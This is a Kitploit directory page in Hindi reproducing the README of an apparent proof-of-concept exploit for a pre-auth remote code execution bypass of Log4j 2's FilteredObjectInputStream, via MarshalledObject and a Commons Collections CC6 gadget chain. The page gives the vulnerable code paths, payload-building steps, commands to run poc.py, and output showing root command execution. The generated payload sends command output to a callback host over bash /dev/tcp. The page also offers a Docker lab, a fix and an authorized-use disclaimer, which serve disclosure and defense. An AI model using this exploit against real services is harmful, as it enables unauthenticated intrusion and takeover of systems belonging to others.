Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4j2-rce — Apache Log4j 2 में FilteredObjectInputStream MarshalledObject बाईपास के माध्यम से प्री-ऑथ RCE | Kitploit
उपकरण/GitHubGitHub/hypnguyen1209/log4j2-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंटबाइनरी शोषण
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Apache Log4j 2 में FilteredObjectInputStream MarshalledObject बाईपास के माध्यम से प्री-ऑथ RCE

रिपॉजिटरी देखें
3798121 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4j FilteredObjectInputStream बाईपास

किसी भी Java सेवा पर Pre-auth RCE जो Log4j के FilteredObjectInputStream के माध्यम से LogEvent को deserialize करती है। कोई क्रेडेंशियल आवश्यक नहीं।

24 अगस्त, 2026 को GitHub issue #4255 के रूप में रिपोर्ट किया गया।

यह क्या करता है

Log4j FilteredObjectInputStream (FOIS) को एक सुरक्षित deserialization रैपर के रूप में भेजता है। यह resolveClass() को एक allowlist के साथ ओवरराइड करता है ताकि केवल org.apache.logging.log4j.*, java.lang.*, java.util.*, और कुछ स्पष्ट क्लास ही गुजर सकें।

उन स्पष्ट क्लासों में से एक है java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- समस्या
        ...);

MarshalledObject.get() आंतरिक रूप से एक नया, सादा ObjectInputStream बनाता है। कोई फ़िल्टर नहीं। MarshalledObject के अंदर लपेटी गई कोई भी चीज़ बिना किसी प्रतिबंध के deserialize होती है, जो allowlist को पूरी तरह से बायपास करती है।

Log4j स्वयं यह रैपिंग करता है। LogEventProxy (हर LogEvent के लिए serialization प्रॉक्सी) इवेंट संदेश को MarshalledObject<Message> फ़ील्ड में संग्रहीत करता है। Deserialization पर, यह संदेश को पुनर्प्राप्त करने के लिए marshalledMessage.get() को कॉल करता है। वह कॉल अनफ़िल्टर्ड स्ट्रीम बनाता है। खेल समाप्त।

FOIS कैसे बायपास होता है

फ़िल्टर केवल स्ट्रीम में शीर्ष-स्तरीय क्लास डिस्क्रिप्टर देखता है:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS LogEventProxy (log4j पैकेज, अनुमत), MarshalledObject (allowlist में), और byte[] (प्रिमिटिव) की जाँच करता है। सभी पास हो जाते हैं। CC6 गैजेट चेन MarshalledObject.objBytes के अंदर कच्चे बाइट्स के रूप में छिपी होती है। FOIS इसे कभी नहीं देखता।

जब LogEventProxy.readResolve() चलता है:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // अनफ़िल्टर्ड ObjectInputStream
        } catch (final Exception ex) {
            // मुझे अनदेखा करें
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() एक सादा ObjectInputStream बनाता है, CC6 चेन ट्रिगर होती है, और कमांड निष्पादित होती है। जब गैजेट परिणाम Message नहीं होता है तो catch ब्लॉक ClassCastException को निगल जाता है, इसलिए सर्वर सामान्य रूप से प्रतिक्रिया करता है। कोई त्रुटि नहीं, कोई लॉग प्रविष्टि नहीं।

तुलना के लिए, ObjectMessage इसे सही ढंग से करता है:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // एक फ़िल्टर्ड आंतरिक स्ट्रीम बनाता है
}

LogEventProxy को इसी पैटर्न का उपयोग करना चाहिए लेकिन नहीं करता।

हमला कैसे काम करता है

root@kitploit:~
Attacker                                   Target (FOIS-based receiver)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: serialized LogEventProxy              |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j पैकेज
   |                   ├── resolveClass(MarshalledObject)  ✓ allowlist
   |                   └── resolveClass(byte[])            ✓ प्रिमिटिव
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   कोई फ़िल्टर नहीं
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

सर्वर 200 के साथ प्रतिक्रिया करता है और इवेंट को ऐसे संसाधित करता है जैसे कुछ हुआ ही नहीं।

पेलोड निर्माण

ट्रिक CC6 चेन को MarshalledObject.objBytes के अंदर लाना है बिना इसे जल्दी ट्रिगर किए।

GadgetMessage Message को लागू करता है और CC6 गैजेट लौटाने के लिए writeReplace() को ओवरराइड करता है:

  1. GadgetMessage को अपने संदेश के रूप में एक Log4jLogEvent बनाएं।
  2. इसे serialize करें। LogEventProxy.writeObject() marshall(message) को कॉल करता है, जो GadgetMessage को MarshalledObject कंस्ट्रक्टर में फीड करता है।
  3. कंस्ट्रक्टर GadgetMessage को serialize करता है। writeReplace() फायर होता है और CC6 HashSet को प्रतिस्थापित करता है।
  4. अब MarshalledObject.objBytes में CC6 चेन होती है। GadgetMessage वायर पर कभी दिखाई नहीं देता।

GadgetMessage केवल हमलावर-पक्ष है। इसे टारगेट क्लासपाथ पर होने की आवश्यकता नहीं है।

प्रभावित संस्करण

घटकअसुरक्षित
log4j-api (FilteredObjectInputStream)2.11.0 से 2.24.3
log4j-core (LogEventProxy MarshalledObject फ़ील्ड)2.8.0 से 2.24.3

टारगेट को क्लासपाथ पर एक गैजेट लाइब्रेरी की भी आवश्यकता होती है। यह PoC Commons Collections 3.2.1 (CC6 चेन) का उपयोग करता है।

इसे चलाना

आवश्यकताएँ: Java 11+, Maven, Python 3.10+, Docker (केवल पीड़ित लैब के लिए)

पीड़ित को बनाएं और शुरू करें:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

एक्सप्लॉइट बनाएं (या पहले रन पर poc.py को इसे करने दें):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

चलाएं:

root@kitploit:~
# --lhost आपका IP है जो टारगेट से पहुंच योग्य है
# उसी होस्ट पर Docker लैब के लिए, docker0 ब्रिज IP का उपयोग करें
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

आउटपुट:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

कस्टम कॉलबैक पोर्ट:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

poc.py कैसे काम करता है

  1. पहले रन पर, PayloadGenerator को संकलित करने और निर्भरताएँ खींचने के लिए exploit/ में mvn package को कॉल करता है। बाद के रनों पर छोड़ देता है।
  2. होस्ट पर java -cp exploit/target/... PayloadGenerator <cmd> चलाता है। MarshalledObject के अंदर CC6 के साथ एक base64 serialized LogEvent आउटपुट करता है।
  3. कमांड आउटपुट प्राप्त करने के लिए --lport (डिफ़ॉल्ट 9999) पर एक TCP लिसनर खोलता है।
  4. कच्चे बाइट्स को टारगेट /log एंडपॉइंट पर HTTP POST के रूप में भेजता है।
  5. पेलोड टारगेट पर कमांड निष्पादित करता है और bash /dev/tcp के माध्यम से आउटपुट को लिसनर पर वापस पाइप करता है।

फ़ाइलें

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # एक्सप्लॉइट स्क्रिप्ट
├── exploit/                        # हमलावर (होस्ट पर चलता है)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # writeReplace() के साथ Message
└── lab/                            # पीड़ित (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # FOIS का उपयोग करने वाला HTTP एंडपॉइंट

lab/ पीड़ित है। HttpLogReceiver FilteredObjectInputStream का उपयोग करने वाला एक HTTP लॉग रिसीवर है। डिफ़ॉल्ट कॉन्फ़िगरेशन, कोई डीबग फ़्लैग नहीं, कोई कृत्रिम कमजोरियाँ नहीं। यथार्थवादी ट्रांज़िटिव निर्भरता के रूप में क्लासपाथ पर Commons Collections।

exploit/ हमलावर टूलिंग है। PayloadGenerator होस्ट पर serialized पेलोड बनाता है। पीड़ित कंटेनर को कभी नहीं छूता।

फिक्स

  1. java.rmi.MarshalledObject को REQUIRED_JAVA_CLASSES से हटाएं।
  2. LogEventProxy में MarshalledObject<Message> फ़ील्ड को SerializationUtil.writeWrappedObject() / readWrappedObject() के माध्यम से serialized byte[] से बदलें। यह वही पैटर्न है जो ObjectMessage पहले से सही ढंग से उपयोग करता है।

Commons Collections संस्करण

CC 3.2.1 और पुराने: InvokerTransformer स्वतंत्र रूप से serialize होता है। CC6 जैसा है वैसा ही काम करता है।

CC 3.2.2 (नवंबर 2015): InvokerTransformer में एक serialization गार्ड जोड़ा गया जो चेन को तब तक ब्लॉक करता है जब तक org.apache.commons.collections.enableUnsafeSerialization true न हो।

फ़िल्टर बाईपास CC संस्करण की परवाह किए बिना मौजूद है। CC का गार्ड गैजेट परत पर defense-in-depth है, टूटे हुए फ़िल्टर के लिए फिक्स नहीं। कोई भी अन्य असुरक्षित गैजेट लाइब्रेरी (Groovy, BeanShell, Spring Beans, आदि) समान हमले को सक्षम करती है।

सफाई

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

कानूनी

केवल अधिकृत परीक्षण के लिए। किसी भी चीज़ के खिलाफ इसे चलाने से पहले लिखित अनुमति लें जो आपकी नहीं है।

टूल डाउनलोड करें